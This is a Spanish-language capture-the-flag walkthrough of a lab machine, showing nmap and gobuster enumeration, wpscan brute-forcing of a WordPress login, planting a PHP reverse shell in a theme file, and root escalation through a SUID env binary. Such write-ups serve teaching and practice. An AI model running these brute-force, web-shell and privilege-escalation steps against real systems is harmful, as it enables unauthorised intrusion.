Enumeración
Escaneo de puertos:
nmap -p- --open --min-rate 5000 -vvv -sS 172.17.0.2
Host is up, received arp-response (0.0000090s latency).
Scanned at 2024-06-25 20:15:08 -03 for 1s
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 64
Detectamos versión y servicio de los puertos abiertos:
nmap -sCV -p80 172.17.0.2
Host is up (0.000050s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.57 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.57 (Debian)
Vamos a utilizar gobuster para realiar fuzzing y encontrar directorios ocultos:
gobuster dir -u http://172.17.0.2 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50
Intrusión
Vemos que existe un Wordpress, por lo que vamos a realizar un escaneo con wpscan para enumerar usuarios, plugins y vulnerabilidades:
wpscan --url http://172.17.0.2/wordpress -e u,vp
Nos lista bastante información. Algo a destacar, es que nos encuentra el usuario mario:
Por lo tanto, ahora realizaremos fuerza bruta utilizando este usuario y el rockyou:
wpscan --url http://172.17.0.2/wordpress -U mario -P /usr/share/wordlist/rockyou.txt
Obtenemos la contraseña love:
Ahora, buscaremos el panel de login utilizando nuevamente gobuster:
gobuster dir -u http://172.17.0.2/wordpress -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 -x php,html
Ingresamos a /wp-admin/ y nos logueamos con las credenciales obtenidas:
Para obtener una Reverse Shell, vamos a modificar el thema. En este caso, se está utilizando twentytwentytwo. Lo vimos en el escaneo de wpscan:
Desde el WordPress vamos a Apariencia -> Theme Code Editor, y editamos por ejemplo functions.php. Borramos todo el contenido y pegamos el php-reverse-shell.php de Monkey Pentest, modificando la IP y puerto:
Nos ponemos a la escucha con netcat y al acceder a http://172.17.0.2/wordpress/wp-content/themes/twentytwentytwo/functions.php
, obtenemos la Shell como el usuario www-data:
Hacemos un tratamiento de la TTY y luego nos ponemos a enumerar la máquina. No vemos que exista ningún usuario en el sistema, más allá de root. No existe el usuario mario:
Escalación de privilegios
Vamos a buscar permisos SUID:
find / -perm -4000 2>/dev/null
Nos llama la atención /usr/bin/env. Apoyándonos en GTFOBins, vemos que podemos ejecutarlo de la siguiente manera:
./env /bin/sh -p
Especificamos la ruta absoluta, y al ejecutarlo, somos root: